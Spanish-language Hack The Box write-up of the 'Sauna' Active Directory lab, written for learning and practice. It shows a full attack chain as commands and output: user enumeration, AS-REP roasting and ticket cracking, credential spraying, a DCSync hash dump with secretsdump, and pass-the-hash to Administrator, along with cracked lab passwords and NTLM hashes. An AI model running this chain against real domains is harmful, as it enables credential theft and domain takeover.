Post

HTB Sauna

Resumen

logo Sauna es un directorio activo increíble para practicar una gran variedad de temas. Al iniciar, no hay casi ninguna ruta de ataque clara, sin embargo, cuenta con la web de un banco donde se presentan a los miembros del equipo. Con esto en mente, se puede crear un diccionario de nombres que pueden pertenecer al dominio. Gracias a esto, se encuentra un usuario, el cual será nuestro vector inicial para realizar un AS-REP Roasting y conseguir su ticket. Con esto en mente, solo hace falta romper el ticket para conseguir la contraseña y poder autenticarnos dentro del dominio.

En este punto, se puede usar BloodHound para mapear el dominio y ver un posible path de ataque. Aunque no se ve una ruta clara desde nuestro usuario, se ve que hay un usuario que cuenta con privilegios DCSync sobre el AD. Sin embargo, aún existe la posibilidad de que haya algo relacionado a esta cuenta dentro de la máquina. Al revisarla con WinPEAS, se ve que las credenciales del usuario que nos interesa se encuentran guardadas dentro de un proceso. Por lo que ahora podríamos autenticarnos como él y dumpear todos los hashes del dominio, consiguiendo privilegios máximos sobre la máquina y dándola por terminada.

Reconocimiento

Para empezar, se realiza un ping para saber si hay conectividad con la máquina.

1
2
3
4
5
6
7
❯ ping 10.129.176.203 -c 1
PING 10.129.176.203 (10.129.176.203) 56(84) bytes of data.
64 bytes from 10.129.176.203: icmp_seq=1 ttl=127 time=173 ms

--- 10.129.176.203 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.595/172.595/172.595/0.000 ms

Escaneo de Puertos

Luego se realiza un escaneo de puertos para ver cuáles se encuentran abiertos dentro de la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nmap -p- --min-rate 3000 10.129.176.203 -Pn -oG TCPports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:54 EDT
Nmap scan report for 10.129.176.203
Host is up (0.22s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49676/tcp open  unknown
49697/tcp open  unknown

Gracias a la información obtenida, se puede realizar un escaneo mucho más profundo para saber qué tecnologías y versiones se están utilizando dentro del que parece ser un Domain Controller.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49676,49697 --min-rate 3000 10.129.176.203 -Pn -oA TCPversions  -sVC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:56 EDT
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 16:57 (0:00:09 remaining)
Nmap scan report for 10.129.176.203
Host is up (0.18s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-06 03:56:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-06T03:57:43
|_  start_date: N/A
|_clock-skew: 7h00m04s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Gracias a esto, sabemos cuál es el nombre del dominio, por lo que hay que registrarlo en el archivo /etc/hosts y se puede empezar a interactuar con él.

1
2
3
4
5
6
7
127.0.0.1   localhost
127.0.1.1   kali
::1     localhost ip6-localhost ip6-loopback
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters

10.129.176.203 EGOTISTICAL-BANK.LOCAL

Enumeración

Web

Al entrar en la web, se puede buscar la página de un banco donde puede haber información interesante o algún camino para obtener información del dominio.

web

Se pueden usar herramientas como WhatWeb para descubrir qué tecnologías está utilizando la web, con el fin de identificar si hay alguna vulnerable o algún dato interesante.

1
2
 whatweb http://10.129.176.203
http://10.129.176.203 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,info@example.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.176.203], Microsoft-IIS[10.0], Script, Title[Egotistical Bank :: Home]

Usuarios

Luego de realizar validaciones como:

  • Fuzzing de directorios y archivos
  • Enumeración de vhosts y subdominios
  • Probar algunas peticiones para ver el comportamiento de la web

No parece haber nada interesante para nosotros como atacantes, por lo que hay que analizar la información que está proporcionando la página. Se puede ver que en la página about.html existe un apartado donde se muestran los nombres de los encargados del banco. Gracias a estos datos, se puede intentar adivinar algún usuario válido dentro del dominio.

name

1
2
3
4
5
6
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Steven Kerb
Sophie Driver

Ahora se puede usar alguna herramienta que intente crear patrones habituales para nombres de dominio, como lo puede ser namemash.py.

1
python3 namemash.py webuser.txt > possibleUsers.txt

Con esta nueva lista de usuarios, podemos hacer uso de la herramienta Kerbrute para enumerar qué usuarios son válidos dentro del dominio. Esto se puede hacer con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kerbrute userenum --dc 10.129.176.203 -d  EGOTISTICAL-BANK.LOCAL  ./possibleUsers.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 08/05/24 - Ronnie Flathers @ropnop

2024/08/05 17:24:02 >  Using KDC(s):
2024/08/05 17:24:02 >  	10.129.176.203:88

2024/08/05 17:24:02 >  [+] VALID USERNAME:	fsmith@EGOTISTICAL-BANK.LOCAL
2024/08/05 17:24:03 >  Done! Tested 66 usernames (1 valid) in 1.307 seconds

Explotación

Con esto ya contamos con el usuario fsmith, por lo que podríamos probar si cuenta con alguna propiedad interesante que nos pueda ayudar a ganar acceso dentro del dominio. Vamos a probar si el usuario es vulnerable a un AS-REP Roasting.

Asreproasting

AS-REP Roasting es un ataque en el que se obtienen tickets de autenticación de usuarios sin preautenticación habilitada, para intentar descifrarlos y obtener sus contraseñas.

Para validar esto, podemos hacer uso de Impacket, herramienta a la que le pasaremos la lista de usuarios y veremos si alguno nos devuelve el ticket.

1
2
3
4
5
impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL/fsmith' -no-pass -dc-ip 10.129.176.203  -request
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:dc7ea34bcf581bc2ce5d38b4384e745a$fa60f4d2b55486d5f01bff044775365d7a113967a5a22234e9ada8763a37ab03528a83c39ac8ffcc21b295198994b6710a1b801a4fd93abb09dc0619bfa896f46986a05334da72bc085a69b791ffaf56d0ff1fdb179285606ffbd8106638c563006ec78ff7275205be8b015e97fc08976423fe31b9fbae6ffa422f13c9c55ac9d0ea262ef967faddd4ab0c4f86e3e65bd2f1b9f337e92a22db974abec6d4b1ebfe62153770da8e3cd3660b45bdbc371e2803ae64355f296c81179ac390682b332aefe29196a1f359538b2d5d48ecb0404f1fc31a4ed871a22c16a52d52d4b87335663d60ea5f6b08ea971fbc0019459a2c65fa7d197090ce98c9d472c121bf32

Por último, ahora solo queda romper el ticket. Esto se puede hacer con ayuda de John con el siguiente comando:

1
2
3
4
5
6
7
8
9
john ticket.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:10 DONE (2024-08-05 17:30) 0.09191g/s 968658p/s 968658c/s 968658C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Como contamos con credenciales, podemos intentar ver a qué servicios tenemos acceso. Esto se puede hacer con ayuda de CrackMapExec. Con esto en mente, podemos hacer uso de los siguientes comandos:

1
2
3
crackmapexec winrm 10.129.176.203  -d "EGOTISTICAL-BANK.LOCAL" -p "Thestrokes23" -u "fsmith"
HTTP        10.129.176.203  5985   10.129.176.203   [*] http://10.129.176.203:5985/wsman
WINRM       10.129.176.203  5985   10.129.176.203   [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
1
2
3
crackmapexec  smb 10.129.176.203  -d "EGOTISTICAL-BANK.LOCAL" -p "Thestrokes23" -u "fsmith"
SMB         10.129.176.203  445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.176.203  445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 

Como confirmamos que nuestras credenciales son válidas, nos podemos conectar por WinRM con ayuda de la herramienta Evil-WinRM. Gracias a esto, tendríamos un acceso inicial y ya podríamos buscar la flag de usuario.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 evil-winrm -u "fsmith" -p "Thestrokes23" -i 10.129.176.203
Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
PS C:\Users\FSmith\Documents> hostname
SAUNA
PS C:\Users\FSmith\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::1a4
   IPv6 Address. . . . . . . . . . . : dead:beef::b589:85aa:da3a:a3a9
   Link-local IPv6 Address . . . . . : fe80::b589:85aa:da3a:a3a9%7
   IPv4 Address. . . . . . . . . . . : 10.129.176.203
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%7
                                       10.129.0.1

Escalada de Privilegios

Enumeración con Bloodhound

Ahora que nos encontramos dentro de la máquina, vamos a intentar enumerar información dentro de ella para poder escalar privilegios. Esto se puede hacer por varios caminos, como lo son WinPEAS o SharpHound. Vamos a centrarnos en hacer uso de BloodHound para poder hacernos una idea de cómo se encuentra estructurado el dominio, para esto transferimos Sharphound a la máquina para poder obtener el archivo que contiene la información.

1
2
3
4
5
6
7
8
PS C:\Users\FSmith\Documents> upload /home/kali/HTB/Sauna/content/SharpHound.exe

Info: Uploading /home/kali/HTB/Sauna/content/SharpHound.exe to C:\Users\FSmith\Documents\SharpHound.exe

Data: 1395368 bytes of 1395368 bytes copied

Info: Upload successful!
PS C:\Users\FSmith\Documents> 

Ahora podemos empezar a enumerar información del dominio con el siguiente comando:

1
2
3
4
5
6
7
.\SharpHound.exe --CollectionMethods All --ZipFileName sauna.zip
... 
 53 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2024-08-05T21:49:40.2867309-07:00|INFORMATION|SharpHound Enumeration Completed at 9:49 PM on 8/5/2024! Happy Graphing!

Y para terminar, podemos enviar el resultado a nuestra máquina para analizarlos con BloodHound.

1
2
3
4
5
PS C:\Users\FSmith\Documents> download 20240805214939_sauna.zip 
   
Info: Downloading C:\Users\FSmith\Documents\20240805214939_sauna.zip to 20240805214939_sauna.zip
 
Info: Download successful!

Y al revisar dentro nuestra máquina de atacante podemos ver que se ha creado el archivo:

1
2
ll
.rw-r--r-- kali kali   11 KB Mon Aug  5 17:50:31 2024 20240805214939_sauna.zip

Para poder usar BloodHound, primero debemos lanzar la base de datos Neo4j con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo neo4j console

Starting Neo4j.
2024-08-05 00:40:18.090+0000 INFO  Starting...
2024-08-05 00:40:19.635+0000 INFO  This instance is ServerId{097bb94a} (097bb94a-41f1-4bd5-93e8-40cdaafc54c7)
2024-08-05 00:40:23.235+0000 INFO  ======== Neo4j 4.4.26 ========
2024-08-05 00:40:27.491+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2024-08-05 00:40:27.492+0000 INFO  Updating the initial password in component 'security-users'
2024-08-05 00:40:32.844+0000 INFO  Bolt enabled on localhost:7687.
2024-08-05 00:40:36.712+0000 INFO  Remote interface available at http://localhost:7474/
2024-08-05 00:40:36.727+0000 INFO  id: 915257CCD5776E980DCCB9C0CC4FF0A9F542D3987BEEE684FD33641F74F1406E
2024-08-05 00:40:36.728+0000 INFO  name: system
2024-08-05 00:40:36.728+0000 INFO  creationDate: 2024-07-07T22:21:12.77Z
2024-08-05 00:40:36.728+0000 INFO  Started.

Luego de subir el grafo, se debe buscar el usuario sobre el que contamos acceso para luego obtener información sobre cómo podemos realizar un ataque al dominio.

fsmith

Realmente no parece haber ningún path interesante desde fsmith para poder tomar control del dominio, más allá de escalar privilegios en la máquina a un usuario administrador. Sin embargo, parece que hay un usuario que cuenta con privilegios DCSync sobre el dominio, por lo que, si llegáramos a tener control de su cuenta, se podría usar para comprometer el dominio.

path

Con eso en mente, puede que dentro de la máquina haya algo que pueda sernos de utilidad para conseguir información o un vector para escalar privilegios dentro del AD.

Enumeración con Winpeas

De la misma manera que con SharpHound, podemos usar Evil-WinRM para transferir el binario hacia la máquina. Con eso en mente, se puede enumerar el equipo para obtener información.

1
2
3
4
5
6
PS C:\Users\FSmith\Documents> upload /home/kali/HTB/Sauna/content/winPEASx64.exe

Info: Uploading /home/kali/HTB/Sauna/content/winPEASx64.exe to C:\Users\FSmith\Documents\winPEASx64.exe

Data: 3183272 bytes of 3183272 bytes copied    
Info: Upload successful!
1
PS C:\Users\FSmith\Documents> .\winPeasx64.exe cmd > sauna_winpeas 

Ahora, para poder analizar la salida de una forma más clara, se puede transferir el archivo generado a nuestra máquina atacante y buscar información útil.

1
2
3
4
5
PS C:\Users\FSmith\Documents> download sauna_winpeas
   
Info: Downloading C:\Users\FSmith\Documents\sauna_winpeas to sauna_winpeas
   
Info: Download successful!

Dentro de la información que retorna WinPEAS, se pueden ver unas credenciales de autologin para un usuario. Podemos utilizarlas para verificar si son válidas dentro del dominio.

1
2
3
4
 Some AutoLogon credentials were found
 DefaultDomainName             :  EGOTISTICALBANK
 DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
 DefaultPassword               :  Moneymakestheworldgoround!

Sin embargo, es importante notar que el usuario no existe dentro del dominio, pero tiene un nombre bastante similar al usuario svc_loanmgr. Por lo que se puede pensar que esas credenciales son para él.

1
2
3
4
5
6
7
net user /domain

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr

Pero no es buena idea sacar esa clase de conclusiones sin pruebas. Es mejor probar directamente la contraseña para ver si funciona en más de una cuenta.

1
2
3
4
5
6
7
cat -np adUsers.txt
FSmith       
HSmith       
krbtgt       
Guest        
Administrator
svc_loanmgr

Esto de puede hacer con ayuda de CME con el siguiente comando:

1
2
3
4
5
6
7
8
crackmapexec  smb 10.129.176.203  -d "EGOTISTICAL-BANK.LOCAL" -p 'Moneymakestheworldgoround!' -u adUsers.txt
SMB         10.129.176.203  445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.176.203  445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\FSmith:Moneymakestheworldgoround! STATUS_LOGON_FAILURE 
SMB         10.129.176.203  445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\HSmith:Moneymakestheworldgoround! STATUS_LOGON_FAILURE 
SMB         10.129.176.203  445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\krbtgt:Moneymakestheworldgoround! STATUS_LOGON_FAILURE 
SMB         10.129.176.203  445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\Guest:Moneymakestheworldgoround! STATUS_LOGON_FAILURE 
SMB         10.129.176.203  445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\Administrator:Moneymakestheworldgoround! STATUS_LOGON_FAILURE 
SMB         10.129.176.203  445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! 

Ahora se puede hacer uso de las credenciales del usuario svc_loanmgr para dumpear todos los hashes del dominio y, con eso, poder autenticarse dentro del equipo como usuario administrador.

1
2
3
4
5
6
7
8
9
10
11
12
13
impacket-secretsdump  'EGOTISTICAL-BANK.LOCAL'/'svc_loanmgr':'Moneymakestheworldgoround!'@'10.129.176.203'
Impacket v0.11.0 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:7d6d264540e912591febc85f6f5c2441:::

Por último, solo queda hacer uso de Evil-WinRM para conseguir la consola con máximos privilegios y obtener control total.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
evil-winrm -u "administrator" -H "823452073d75b9d1cf70ebdf86c7f98e" -i 10.129.176.203
    
Evil-WinRM shell v3.5
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname 
SAUNA
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig 

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::1a4
   IPv6 Address. . . . . . . . . . . : dead:beef::b589:85aa:da3a:a3a9
   Link-local IPv6 Address . . . . . : fe80::b589:85aa:da3a:a3a9%7
   IPv4 Address. . . . . . . . . . . : 10.129.176.203
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%7
                                       10.129.0.1
This post is licensed under CC BY 4.0 by the author.